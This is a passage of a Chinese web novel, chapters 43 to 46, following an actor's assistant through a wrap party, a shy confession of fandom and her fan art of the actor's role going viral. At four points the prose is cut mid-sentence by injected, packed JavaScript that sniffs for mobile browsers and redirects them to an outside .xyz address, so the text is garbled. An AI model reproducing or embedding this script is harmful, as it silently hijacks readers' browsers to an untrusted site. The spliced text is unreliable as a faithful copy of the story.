浦世诚也凑过来，王墨把相机递给场记，让他帮忙拍一张大合照。 宁茉举起花想还给萧扬，萧扬却躲开了，两只手忙着招呼大家站位置，于是最后合影时，花束仍旧在宁茉怀里，萧扬也站在宁茉身边。 拍完合照，宁茉低头看着怀里的花，霍研订了一大束绿蔷薇和绿百合，包装的十分讲究，隔着很远都香味扑鼻。 “喜欢？”萧扬走到她身边，“送你了。” 宁茉沉默了两秒：“……这是我去取的。” “……”萧扬咳了一声，“那……再订一束送你？” “倒是也不用，”宁茉把花小心放进原本的盒子里，抬头看向萧扬。 “这段时间辛苦了，晚上有杀青宴，陈昌导演请客。” “不过这会儿你饿吗？有什么想吃的？我去给你买，我最近刷到云城很多好吃好玩的。” 萧扬想了想：“没什么想吃的，不过……确实有一件想要的东西。” 宁茉好奇道：“什么？” 萧扬垂眸看了她一眼，却没有立刻开口。 宁茉更好奇了：“你想要什么？” 萧扬却突然笑了：“想要……粉丝。” 宁茉了然地点点头：“不用担心，《风暴降临》你演得很好，播出以后肯定会有很多新粉丝的。” 萧扬眨了眨眼，不置可否。 …… 杀青宴就在剧组住的酒店一楼，包了一整个宴会厅，现场十分热闹，几个主演都来了，也算是变相的庆祝剧集上线。 陈昌喝的激动，一个劲儿搂着萧扬给大家介绍，说他绝对是个好苗子，以后前途不可限量。 不少人都去和萧扬碰杯，萧扬并不喝酒，只是一一应了，却在陈昌敬酒时犹豫了几秒，还是接了。 他的确感激陈昌，对方对他的赏识和提携都是真心的。 宴会接近尾声时，魏瑶赶来了，她和每个人找了招呼，又跑来和萧扬碰杯，最后对上宁茉的目光，顺便给宁茉展示了一下自己新做的亚克力挂件。 宁茉一眼认出那是另一个圈子内的知名画师，顿时有些吃惊，没想到魏瑶这么喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方的神情有点委屈：“痒。” “马上好马上好，”宁茉拿出哄小孩的语气，拍拍他的卫衣口袋，确定里面没有，又摸了摸他的裤子口袋。 萧扬躲了躲，却不敢伸手推开她：“……你别碰。” 这话说的像谁欺负了他一样，宁茉真想拿出手机拍下他现在的样子，昨晚那么欺负人，今晚却变成可怜巴巴的小狗了。 “房卡到底在哪儿？”宁茉左右找不到，无奈地看向他，“你出门带了吗？” 萧扬直直盯着她，根本没听她的话。 “……”无力感弥漫，宁茉揉了揉脑袋，有点头疼。 现在有两个选择，一个是去找浦世诚拿备用房卡，他经常带着萧扬房间的卡，一个是找前台开门，相较之下，似乎第二个选项更快一些。 用手机拨通前台的电话，宁茉简单说了一下情况，对方说会尽快让工作人员过来。 挂掉电话，宁茉转头看向萧扬，他仍旧在直直望着自己，目光灼热的让人不敢对视。 走廊尽头的电梯突然响了，似乎有人要往这边走，宁茉一惊，望着眼前显然已经喝醉了的萧扬，意识到最好不要让别人看到他现在的样子。 可周围没地方可躲，宁茉目测了一下消防通道的距离，果断拉着萧扬往那边跑。 萧扬竟然也真的乖乖跟着她跑，两个人跑进消防通道，做贼似的关上门躲了起来。 走廊的脚步声一路经过萧扬的房间门口、又经过消防通道，最终在不远处停了下来。 随后是开房门的声音，那人进了门、房门关上的瞬间，宁茉终于松了口气。 再度抬头时，对上的却是萧扬突然低下来的头。 他的眼底晶亮，深褐色眼瞳一眨不眨地望着宁茉，在昏暗的楼梯间里，那双漂亮的桃花眼竟成了唯一的亮色。 宁茉怔住，呼吸都错乱了一瞬：“……怎么了？” “宁茉。” 萧扬念着她的名字，眼底神色竟然有些伤心：“我们不是朋友吗？” “……” 喝醉了却还记得这句话，宁茉眨眨眼，终于诚实了一回：“……是。” “不够，”萧扬摇摇头，“……不够。” 宁茉：“……” “你之前说，你不是我的粉丝，”萧扬这句话说的很慢，像是含了极大的期待，眼底星光闪烁，“从前不是……以后可以是么？” …… 寂静无人的空间里，宁茉怔怔地望着眼前人深邃的眼眸，他的睫毛长且密，眨眼时像一把小扇子搅动空气，让人不自觉被吸引、陷进去。 这很危险。 好像和萧扬在一起时，危险的信号就总是会在她的脑海里预警，但……萧扬总是会突破这些预警，更进一步地迅速抓住她。 “宁茉，好不好？” 见对方许久都没有回答，萧扬的眼眶竟然开始发红，他伸手握住宁茉的手，两人的手都热的惊人。 “做我的粉丝，关注我……喜欢我。” …… 鬼使神差地，宁茉答了一句： “……好。” 44. 第 44 章 《风暴降临》杀青后，萧扬工作室一行人要返回荣城。 宁茉一早就收拾好了行李，王墨和浦世诚陆续前往酒店一楼汇合，萧扬却迟迟没下来。 浦世诚给他打了四五个电话催他，最后眼看再耽误下去飞机都要赶不上了，萧扬才慢吞吞走了下来。 他眼底有些困倦，似乎没有完全清醒，目光略带迟钝地看向宁茉，又微微睁大双眼，飞快转头，耳尖悄然红了。 一路开车到了机场，浦世诚归还了租来的车辆，其余几个人则先去候机室等着。 云城机场人不少，宁茉去买咖啡的路上甚至听到有人在讨论《风暴降临》，看来这部待播剧的确有着很高的热度。 萧扬戴着帽子坐在最角落，低着头看手机，宁茉走到他身边将咖啡递给他。 “冰美式。” “谢谢。”萧扬伸手去接，却没有抬头看她。 “？” 宁茉原本好奇他还记不记得昨晚的事情，但现在看他的反应，他似乎是记得的。 于是她一屁股坐到了萧扬身边，语气轻松：“趁热喝呀。” “……”萧扬没反驳她话里的矛盾，反而掀开盖子上的卡扣，竟然真的喝了一口。 宁茉眼睛睁大，眼底带着些稀奇，这可真是难得，以往萧扬从来没有尴尬过，今天他却处处躲着自己。 宁茉趁热打铁：“你昨天……” “抱歉，”萧扬打断了她，语速很快，“我昨晚喝多了。” 宁茉眯了眯眼：“哦……没事，你还记得昨晚发生了什么吗？” 萧扬始终没有抬头：“忘了。” “啊……”宁茉的声音透着点可惜，“这样啊，那好吧，那就不作数了。” 这句话一出，萧扬立刻抬头看向她：“什么不作数了？” “昨晚的话啊，”宁茉眨眨眼，神情坦荡，“反正是喝多了，不算数。” “……”萧扬喉结滚动了一下，“昨晚……我说什么了？” “也没说什么，”宁茉抿着嘴笑，“就是说要给我们涨工资。” 萧扬眼底的期待一闪而过：“……这话算数，还有什么？” “没了。”宁茉回答的干脆利落。 萧扬一顿：“……没了？” “没了呀，”宁茉一脸无辜，“别的什么也没说。” “你，你明明……”萧扬微微睁大双眼，呼吸骤然加快。 ——宁茉歪着头看他，眼底满是笑意，两人对视了几秒，突然同时笑了。 萧扬捏紧咖啡杯，正色道：“不能不算数。” “算数算数，”宁茉点亮手机屏幕，给他展示自己的手机屏保，是一张角色阑牧的花絮照，“喏，成为粉丝第一步，换壁纸。” 萧扬盯着她的手机屏幕看了一会儿，目光又移到她脸上。 …… 宁茉挪开视线，低头也喝了一口手里的饮品，随口道：“成为你的粉丝有什么好处吗？” “有，”萧扬点点头，“作为粉丝福利，我可以满足你的一个愿望，你想要什么？” 宁茉咬着吸管想了想，摇摇头：“目前没有特别想要的……” 说到一半，怕萧扬撤回这个愿望，她又改口道：“这样，我想想吧，这个福利先暂存在你这里，等我想到了再来兑换——对了，愿望有时效性吗？” 萧扬嘴角上扬：“暂时没有，不过要是拖得太久，我也许就忘了。” “啊？那……”宁茉想着不然就干脆真的让他把工资提高一点，没想到萧扬从怀里拿出了个小东西，塞到她手里。 “这个给你。” 宁茉一愣，低头看着手里冰凉的金属卡片，是阑牧的学生铭牌，萧扬特意向道具组要来作纪念。 “……这是？“ 萧扬：“愿望兑换券。” “……”宁茉没想到他会把这种有意义的东西随手给自己，犹豫道，“这个还是你留着吧，对你来说意义特殊。” “没关系，”萧扬很轻地笑了一下，“愿望兑现的那天，我会把它收回来的。” …… 众人在当天下午返回了荣城，浦世诚宣布给大家放一周的假，并且本次外勤的奖金将提前发放。 助理们都很高兴，霍研提出要请大家吃饭，孙尚万也举手表示加入，于是这一晚，工作室众人齐齐整整地举了个餐。 七个人共同举杯：“预祝《风暴降临》顺利播出！” 宁茉好奇地问：“什么时候播呀？” “快了，说的是元旦后，”浦世诚给萧扬夹了个鸡腿，“来，可怜孩子，放开吃吧，终于不用节食了。” 萧扬看他一眼：“你最近是不是胖了？” “……”浦世诚的筷子僵在空中，脸上的笑容凝滞了两秒后又努力找回正常的表情，“一点点，一点点。” 萧扬的声音非常无情：“明天早上来健身房，我测一下你的体脂率。” “……啊啊啊！”浦世诚痛苦地嚎叫了一声，“大哥你就给我放几天假吧！人这样连轴转是会死的！” 萧扬神情不变：“那三天后过来。” 浦世诚：“……” 王墨偷笑了好一会儿才开口：“浦哥，想开一点，虽然健身很痛苦，但你收获了健康呀！” “那你和我一起？”浦世诚瞟他一眼。 王墨立刻转移了话题：“元旦后就播，岂不是下个月？好快啊，后期得加班了。” 浦世诚：“……” “是啊，好期待，”宋依依双手合十，“后期制作一定要突出萧扬哥的帅气啊！” 宁茉则是信心满满：“一定会很好看，我到时候要准时追剧。” 萧扬抬眼看向她，眼底终于有了笑意。 宁茉又关心起工作上的事情：“对了，我们的宣传物料什么时候开始发？是不是应该提前预热，我看官方预告了萧扬的定妆照，我们是不是……” “茉茉……”宋依依两眼放空，“你……对工作的热情也太高了吧……我们出来聚餐都还要聊这个。” 连工作室公认的工作狂霍研听到她的话都笑了：“出来放松不谈这个，而且既然给你们放假了，你们就专心玩，宣传的事情我们会操心的。” 宁茉点点头：“……那好吧。” 一顿饭吃了三个小时，散场的时候，萧扬和浦世诚回了工作室，顺便将住在工作室附近的宁茉带了过去。 宁茉和萧扬坐在车后排，她看着窗外的风景，眼睛一眨不眨，有些怀念快一个月没见到的荣城。 虽然在这里待的时间不久，荣城却给了宁茉很强的归属感，她已经想好，短时间内都不打算离开荣城。 萧扬的余光一直在看她，但宁茉始终专心看着窗外，他只好开口：“休假打算去哪儿？” 宁茉回神：“……哦，哪儿也不去，在家里休息。” 顺便接稿子挣钱。 萧扬有些意外：“不出去玩吗？” 宁茉摇摇头：“去云城这一趟就算是旅游了，回来以后我要好好在家里躺着。” 萧扬沉默了两秒，又问道：“你在家里睡得好吗？” “……”宁茉没想到他突然会提这个话题，怔了一下，目光却下意识看向驾驶座的浦世诚，好在浦世诚专心开车，没注意到他们两人的聊天内容。 宁茉眨了眨眼，低声道：“……还好。” 萧扬微微皱眉，还好，那就是不好。 宁茉笑笑：“这一周我会好好补觉的，争取每天睡够八小时！” “十个小时，”萧扬语气笃定，“才算是休息。” “……好吧，那就努力睡十个小时。” 宁茉捏了捏拳头，一副给自己加油打气的样子。 萧扬大概也是第一次见有人要努力多睡觉，眼眸顿了一下，蓦然笑了。 他那双潋滟的桃花眼微弯，定定看着宁茉：“加油。” …… 宁茉到家后，光是收拾行李箱就用了一个小时，把要洗的衣服全都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁茉想了想，和她道谢后，决定还是按照这个价格接稿，等她觉得自己的能力足够匹配高价时，再去挑战价格高要求高的稿子。 微博私信框迅速滚动起来，找她约稿的私信多了三条，其中有一个人更是直接表示约三张，宁茉于是加了这个人的好友，商定了一下具体要求，确定接稿后，在那条接稿微博底下回复了一句“接满了”。 这话一出，多了不少新评论。 “啊啊啊果然瞬间就会被抢走！” “呜呜呜蹲下一次接稿，太太看看我，我会等着你，永远，永远！” “天使一样物美价廉的太太，画圈有你是我的福气！” 但随着这条微博被越来越多人转发，评论区逐渐开始出现了一些负面评论。 “这个开价是认真的吗？” “到底接没接也不知道，就硬往下压，好笑” “先低价接一个吸波粉，再抬价卖稿，这操作见的多了，都是老演员了~” “画成这样800？是拿着别人的稿子作宣传图吧！实际成稿是个简笔画都不一定~” “对啊，公布一下底稿啊，绘画过程放一下啊！” 评论区逐渐吵了起来，但宁茉没注意到，仍在专心和约稿人讨论细节，直到对方小心翼翼地问她要不要删掉那篇约稿微博，宁茉才发觉这短短的半个小时，微博浏览量已经上万了。 她又新增了一千多个粉丝，但私信框里却多了很多谩骂，大多是质疑她的稿子不是自己画的。 宁茉第一次见识到网络的力量，舆论居然可以在瞬间反转，刚才还在夸她的人此刻就能翻脸质疑她。 约稿人见她许久没有回复消息，十分担心。 [草莓芝士波波]：太太你没事吧？ [草莓芝士波波]：你别生气，这些人就是嫉妒，你别理他们。 [草莓芝士波波]：太太？呜呜太太你还在吗？你不会不接稿了吧，我可以提价的呜呜呜…… 终于，她心心念念的太太缓缓回了一句。 [茉莉无声]：在 [草莓芝士波波]：太太！我爱你的太太！你不要理那些奇形怪状的人！别生气！ [茉莉无声]：我不生气。 [茉莉无声]：……那个，你知不知道，平板怎么录屏？ 45. 第 45 章 在微博被扩大转发范围后，宁茉发了一个十五秒的视频。 视频里是她打开画稿，一层层点开不同图层的画面，她试了几次录屏都觉得没录好，索性将手机支起来，拍了一段视频。 好在她剪视频的速度已经大大提升，将可能泄漏隐私的内容打码后，宁茉发了这篇微博。 她一句文字内容都没有说，只凭一个视频，已经足以证明一切。 评论区瞬间就换了风向。 “有视频为证，你们还有什么话说？” “哇！太太画画好仔细，埋了这么多小细节！” “天啊这个背景云我以为是拿笔刷一键生成的，居然是这样一层层晕染叠加上去的，太太你也太厉害太用心了吧！” “求接稿，我真的想约，我现在开始排队只等太太垂怜！” “哈，刚才那些质疑的人呢？出来走两步啊。” 仍旧有人嘴硬她这些稿子不是800的质量，这彻底惹怒了大橘为重，她一口气把约的稿子全部发在了评论区，标上了价格。 [这幅300，这幅500，来，你看看这是多少钱的质量] [太太刚开始接稿，开低价做慈善，不是你在这里撒泼耍赖不要脸的理由！] [怎么？嫉妒？羡慕？生气？气着吧，都是你们应得的] 她逮住评论区每一个质疑谩骂的人，一个个有理有据地怼了回去，战斗力极强，既不带脏字又能骂得十分精彩气人，宁茉看得目瞪口呆，又悄悄给她点了个赞。 评论区很快就恢复了正常画风，那些人被骂得不敢再来挑刺，倒是更多人发现了视频里的小细节。 “背景是太太的床吗？这个暖黄色的床单看起来好暖和！” “求床品链接，想和神仙太太睡一样的床单，试图画出一样的神仙画” “哇太太的手好漂亮，又长又细又白！简直仙品！” 宁茉被夸的有点不好意思，关闭了微博界面后，又给大橘为重发消息表示了感谢，大橘为重给她发了一堆亲亲抱抱举高高表情包，十分开心。 新的约稿设定很简单，[草莓芝士波波]简单讲了要求后，就要她自由发挥，宁茉很快构思好了两幅草稿，发给对方看，对方又惊又喜，嚷嚷着约到宁茉真是太值了，还说她认识一个神秘大佬酷爱约稿，一定要把宁茉这个神仙太太介绍给对方，说对方一向是按照稿子质量定价，给的价格经常比画师开价还要高一倍。 这一番话说的宁茉有些好奇，她还没见过这样的人，听起来是个十分有钱的大佬。 [草莓芝士波波]又夸了夸宁茉，随后口风一转，说太太还是早点睡觉吧，不要熬夜，虽然画佬都熬夜但现在实在是太晚了。 宁茉一看时间，才发现已经凌晨两点了。 她突然想起不久前，萧扬侧过头看着她，笑着说的那句：“记得早点睡觉。” ……两点，应该还算早吧。 宁茉放下手机，闭上眼酝酿了一会儿睡意，但也许是骤然换了地方，加上白天发生的事情太多，她竟然一点也不困。 试了多种入睡方式，宁茉都没能睡着，她暗暗吐槽萧扬找的文章一点也不靠谱，同时从床上翻身起来探出身子，摸索着去找床头小音箱的开关。 摸了半天却误触了电台按钮，于是深夜电台的声音从小音箱里幽幽传了出来，宁茉要去切频道，却听到了一句。 “这是周沉十年前经手的一桩案子，连他自己都快忘了这个凶手的名字。” 宁茉的指尖悬停在音箱上，愣了几秒：深夜电台正在解说《风暴降临》的原著小说。 她没有再碰音箱，转而重新躺下，闭上眼睛听起了电台。 在剧组拍摄时，她看的也是萧扬的那部分剧本，对完整剧本没有什么了解，只知道改变自一本原本就很有名的刑侦小说，其中的主角周沉更是一度跃升年度刑侦小说人气男主角。 至于阑牧，在原著小说里是一个小的不能再小的人物，围绕他的讨论不多，更多是有争议的内容，因此萧扬临时顶上阑牧这个角色、在剧组加班加点拍了二十天这件事，在各个文娱媒体那边也只是简单的一笔带过，连个剧透照都没有，无人在意这个小小配角，和他的扮演者萧扬。 宁茉睁开眼，拿出手机翻开工作室群，群里霍妍发了萧扬的定妆照，那是《风暴降临》剧组第二天就要发布的内容。 她看了看定妆照，摸出平板，打开了绘画软件，抬起笔—— 如果真的无人在意，那她就做第一个在意的人。 …… 晨光透过窗帘照进房间时，宁茉的画刚完成最后一个晕染步骤。 她满意地看着平板上的画，画面里的少年穿着陈旧的校服，一脸冷峻地站在墙角，双手紧紧抱着胳膊，浑身充满了防备和戾气，眼底更是泛起警惕。 少年身后的背景用了大量的黑色，黑色之中却又用金色的暗线条描绘出一只隐约的老虎眼瞳，没有细化线条，只是着重描绘了那双介于金黄和深棕之间的兽眸，闪烁着锐利冷冽的光辉，仿佛能够洞穿眼前一切。 这也是宁茉对于阑牧这个人物的印象，像一只独自生存的小老虎，倔强、专注又生机勃勃，不断流浪、从不屈服。 这幅画尝试了新画法，花费了不少精力，宁茉保存好画稿一看时间，竟然已经是早上七点半了。 她放下平板，重新钻进被窝，试图补一会儿觉。 可惜楼上楼下的居民们似乎都已经开始了一天的生活，宁茉一会儿听到抽烟机的响动，一会儿听到下水道流水的声音，翻来覆去，最终还是没有睡着。 要是让萧扬知道她一晚上没睡觉，恐怕又要追问她到底怎么了……想到这里，宁茉蓦然反应过来，自己怎么连这种时候都会想到萧扬？ …… 上午十点，《风暴降临》官方微博发布新人物剧照，萧扬饰演的阑牧定妆照首次曝光，剧组还为此买了个小小的热搜。 不过这个热搜效果不佳，定妆照的微博下面评论也大多是看热闹的网友。 “这就是你们临时抓来的壮丁？长得还不错啊。” “敢顶王驭的缺？虽然他塌房了，但他的粉丝还没有完全死心，你们小心喽~” “看起来比王驭帅耶，就是不知道演技怎么样，别又是个绣花枕头，内娱苦木头美人久矣……” “到底几号播啊能不能给个准信？急着看我家海哥的新戏！” …… 宁茉翻到这条微博的时候，还发现了萧扬工作室官方账号在底下的留言，一看就是孙尚万发的，语气尽量显得活泼热闹，可惜内容还是十分官方，而且由于权重不够，点赞量还不如一条看热闹的网友评论高，可怜巴巴地位于中间位置，看得出来，再过几分钟就要被淹没了。 她先是给微博点了个赞，随后上传了那张刚画好的稿子，细心地加上“风暴降临”和相关角色的标签，点击了发布——虽然不知道有没有用，但就当是为萧扬的宣传尽一份力了。 但奇怪的是，她这篇微博发出去后，浏览量却前所未有的低，就连评论也寥寥无几。 宁茉有些挫败，她这次画的这么差吗？大家连意见都没有…… 两分钟后，终于有一条评论了。 “天呀！画的好好啊，怎么流量这么低，被限流了吗？” ……限流？ 宁茉疑惑地对比了一下这条微博和之前微博的浏览量，确实差别很大，哪怕在她只有几百个粉丝的时候，初始浏览量也有几百，可这条微博别说几百了，目前的浏览量甚至不过百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817879|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 为什么会被限流呢？是她被限流了，还是…… 同样有疑问的还有正在工作室后台盯着数据的孙尚万，他看着定妆照微博抓耳挠腮： “什么情况，热搜也买了，推广也发了，这点流量太说不过去了吧？” “《风暴降临》好歹也自带粉丝，怎么会连关注度都没有啊……” “而且萧扬的定妆照这么帅，阑牧在书里也是个有名有姓的角色，竟然都没人在意吗？” 霍研走到他电脑面前，皱着眉头：“不太对劲，你问问微博运营那边的熟人，是不是有人反向限流。” “哈？”孙尚万不可思议道，“不去限流海文成、周杉这两个主演，限流我们一个小配角萧扬？搞笑呢。” “……”霍研提醒他，“你别忘了，萧扬是从哪个公司出来的。” 孙尚万愣了几秒，眼眸瞬间睁大，倒吸了一口凉气：“这么狠？拿了那么多钱还不够，还想让萧扬永无翻身之地？” “人心难测啊，”霍研冷笑一声，“毕竟要是萧扬火了，他们捧的艺人不就没戏了吗？” 孙尚万眯了眯眼：“差点忘了那家伙的新剧也要上了，他一个偶像剧，竟然还怕我们刑侦剧抢他风头。” “人家怕的可不是刑侦剧，”霍研曲起食指敲了敲桌沿，“怕的是萧扬。” “怕？越怕什么就得越来什么，”孙尚万撸起袖子，“我就不信了，你还能把全平台都买通。” 接下来，不只是微博，所有能宣传的平台，孙尚万发了一遍，他还将宁茉剪的花絮视频放了几个。 这次有了一些效果，视频里萧扬一张脸帅的直白震撼，演技更是快要溢出屏幕，瞬间就吸引了不少观众。 “哇，这也太帅了！！！” “这才是书里的阑牧！阴郁扭曲这股劲儿拿捏的也太好了！之前王驭那花絮，拍的简直像狂躁症患者” “不对比不知道，这新人演技也太好了吧！” “好像还不是新人，我记得他，他演过《月牙城》” “原来是他！天啊，我们有救了！” 与此同时，另一篇微博也引起了大家的注意。 宁茉将之前那篇微博删掉，去掉了所有的文案和标签，只是发了一张图。 这张图发出去不到十分钟，评论和点赞就已经将她的微博淹没。 “卧槽！卧槽！太太不愧是你！这一张画更是好看到让人失语！” “啊啊啊神仙太太，你这次又画的是谁呀？好帅好帅好帅！” “这是哪个动漫角色吗？好帅啊，还有他后面那个老虎，第一眼看的我起了一身鸡皮疙瘩！” “等等？这校服……这眼神……太太，你画的难道是《风暴降临》里的阑牧？” 宁茉立刻回复了这条评论：[是他。] 她还点赞了这条评论，将它顶在了评论区最前方。 立刻就有不少人问阑牧是谁，有好心人发来了官方定妆照的链接，大家顺着链接跑过去看，又是一波新的震撼。 “我去，好帅，我以为太太画的夸张了，原来他真人就长这么帅！” “啊啊啊啊这是什么二次元建模脸，就算是精修也太有品位了吧！” “救命，你们用这么帅的一张脸演这么小的一个角色，杀鸡焉用牛刀啊” “我将守在电视前直到风暴降临播出，我要第一时间看到这张帅脸！” 热度以一种出乎意料的方式攀升，剧组买的热搜这才真正派上用途，#萧扬阑牧#的词条很快冲上了前排。 更令人意外的是，还有一条热搜也很快进入大众视野。 #风暴降临神仙同人图# 下面第一个相关搜索，就是宁茉那一张连文案都没有的微博。 46. 第 46 章 “有品，太有品了，拿这么漂亮的同人图宣传新剧。” “你们从哪个犄角旮旯挖出来的神仙太太，两千粉丝整二十万粉丝的活！” “到底什么时候播啊？我现在着急想看剧！” 也有人质疑这会不会是粉丝为爱发电，但很快就被反驳了。 “定妆照刚出宣传图后脚就出了，明显是提前买好的。” “对啊，这一看就是内部人士先拿到的定妆照，然后又提前约了画师。” “真的太会找人了，这个太太我前两天刚刚开始关注，画的又好又快而且有自己独特的风格，剧组这下是捡到宝了！” …… 萧扬工作室里，孙尚万和霍研两个人都是一头雾水。 霍研问他：“你买的？” 孙尚万立刻摇摇头：“当然不是，我都不知道这人是谁。” 霍研又猜：“……剧组买的？” 孙尚万这次的语气十分肯定：“剧组应该不至于对萧扬花这么大心思。” 霍研无奈道：“……那总不会是自来水吧？萧扬的粉丝？” “萧扬现在还有粉丝呢？”孙尚万先是嘀咕了一句，随后摇摇头，“他哪有这么高质量的粉丝啊，这肯定是有人买的，也许是《风暴降临》的剧粉为了提热度宣传自掏腰包。” “我看这个画师粉丝也不多，应该不贵，不过她这张图确实画的漂亮，我得问问她能不能授权给我们做海报！” 孙尚万说干就干，开始找这个画师的联络方式，可翻遍了她的微博也硬是没找到一个邮箱或者电话，最后只能无奈地发私信。 “……也不知道她看不看私信。” …… 宁茉这会儿确实没什么功夫看私信，这篇微博的热度比她想象中来的快且高涨，她的粉丝正在以一种不可思议的速度增加，短短半个小时，原本的两千粉丝直升到六千，而且还在有继续往上涨的趋势。 就连之前找她约稿的草莓芝士波波都十分担心的跑来问她这一波火了以后还愿不愿意画之前的稿子，生怕宁茉放她鸽子。 大橘为重也来恭喜她，说她这次是真的火了，以后就是圈内知名的太太了，而且还可以专攻影视圈。 私信栏也是消息不断，既有看热闹的路人在问她这是谁买的宣传稿，也有一些粉丝在真情实感的夸她，甚至还有其他领域的一些人来求合作。 宁茉十分谨慎地又看了一遍微博里的全部信息，确保里面没有涉及到自己的私人信息后，有些头疼地关闭了微博。 这两天高强度的接受网上的信息流，她的精神已然十分疲惫，像是跑了一场没有尽头的马拉松，永远不能停下、却也永远不知道那根代表终点的红绳在哪里。 她突然又想到了萧扬，曾经他小有名气的时候，网上对于他的讨论也是这样铺天盖地，当时的他……是用怎样的心态来迎接这些舆论的呢？ 而当他的流量滑落谷底、全网甚至都没几个讨论的时候，又是什么样的心情呢？ 宁茉只是设想一下那样的场景都觉得难以忍受，不得不感叹一句明星果然不是一般人能当的，需要非常强大的心理承受能力。 而现在，她的当务之急，是去睡一觉。 …… 与此同时，《风暴降临》的剧组微博下来，粉丝正在不停地发消息。 “你们开窍了？终于不整那些土活了？” “这次这个宣传方式还挺新颖，有惊喜哦！” “你们能不能给海文成和周杉也买一个啊！这么出圈的宣传方式，你们别只放在配角身上啊！” “求周沉×徐霏霏的CP图！你们现在去买就还有机会！” “啊啊啊给我家乔娜娜也安排一个同人图啊！她在剧里好歹也算萧扬的CP吧！” …… 《风暴降临》的出品人叫何松华，是业内知名娱乐公司南黄娱乐的副总经理，同时投资了陈昌的两部新剧。 原本给萧扬的定妆照买热搜只算是友情附赠，可没想到热度以一种出乎意料的方式增长起来，无数粉丝要求他给其他主演也买同人图，这顿时让何松华有些头秃。 何松华吩咐助理：“……你们去联系一下这个画师，看看能不能让她在这几天内赶出两三张图，如果实在跟不上的话，先画一张也行。” 助理们立刻开始行动，到处找这位[茉莉无声]画师太太的联系方式，可惜她的首页没有任何相关讯息，几个人翻遍了微博都没找到联系方式。 “……这怎么办？一开始买稿子那家伙到底是怎么联系到她的啊！” “应该就是剧组的人吧，不然哪来的定妆照……我们在剧组群里问问？” “再给她发几个私信，用官方账号发一遍，再用你们的私人账号发一遍，确保她能看到消息。” “……也只能这样了，希望这位画师能看看私信吧。” …… 宁茉这一觉睡得并不安稳，梦里似乎有什么东西一直在追她，她努力地往前跑，却始终甩不掉身后那种如影随形的恐惧感。 直到她一脚踩空，彻底从天台跌落下去，也瞬间睁开了眼。 “……” 宁茉揉了揉太阳穴，意识到这次自己梦到的是《风暴降临》最后一场戏的拍摄场地——云城那座大厦的天台。 最近怎么总做这种和萧扬相关的梦？宁茉沉默着爬起来，看了一眼时间。 现在是下午两点，也就是说她只睡了不到三个小时，难怪浑身充斥着疲惫感。 手机里有很多未读信息，大多数来自萧扬工作室和助理群，宁茉点开一看，他们竟然在讨论自己那张同人图。 [宋依依：神仙画师！！！把萧扬哥画的也太帅了吧！！！] [王墨：是啊，人物的神韵捕捉的太好了，一眼就看出来是他] [浦世诚：呦，剧组这么大方，还花钱买宣传图] [孙尚万：你们能不能帮我找找这位画师的联系方式啊……她根本不看私信我的天，我都被官方限制发言次数了] “啊？”宁茉一愣，立刻打开微博，翻了翻私信框。 私信栏里的消息非常多，好在孙尚万是拿工作室的微博发的私信，她很快就在列表里找到了他。 [萧扬工作室：您好，您这幅画能不能授权给我们做海报呢？我们可以按照市场价买下这幅画的版权。] 她立刻回复道： [茉莉无声：可以的，不需要买，这幅画可以免费送你们用。] [萧扬工作室：太感谢了，要不然我们加个微信吧？后续也许还可以合作。] “……”宁茉顿时有些心虚，指尖在键盘上点了好几下，还是撤回了那句话。 [茉莉无声：我会看私信，我们就在微博联络吧。] 她只有一个微信号，这要是给出去，岂不是直接告诉对方她是谁。 好在孙尚万也并不执着，很快就表达了感谢。 解决完这桩事，宁茉很快又发现另一件事：《风暴降临》的剧组竟然也在找她。 [风暴降临：您好，您为阑牧创作的画作十分精彩，我们想要和您达成进一步合作，请问您近期是否有档期呢？] [风暴降临：我们希望您在1月2日前能够完成两幅画稿，如果您实在没有时间的话，一幅也可以。] 宁茉想了想，1月2号，也就是说差不多还有10天的时间，如果她把约稿先放一放专心画《风暴降临》的画稿，也许能完成。 但……时间也确实有点赶了，而且她其实不确定自己能不能画好 [茉莉无声：时间可能有点紧张，而且目前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832029|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的画技并不稳定，可能画不了一模一样的风格。] 对方见他终于有了回复，十分高兴，快速地回了几句。 [风暴降临：没关系的，风格相似就可以。] [风暴降临：非常高兴能与您合作。] [风暴降临：请问您的画开价是多少呢？] 宁茉思考了一下，《风暴降临》剧组的宣传最终也是有益于萧扬的，就也算自己人，自己人的话给个友情价吧。 [茉莉无声：500吧。] 出乎意料的是，对方却突然沉默了许久。 过了足足有三分钟，宁茉才看到他们的回复。 [风暴降临：抱歉……这个价格有点超出预算了。] “啊？” 宁茉有些吃惊，500都超过预算吗？这……应该不高吧。 很快，对方又试图砍价。 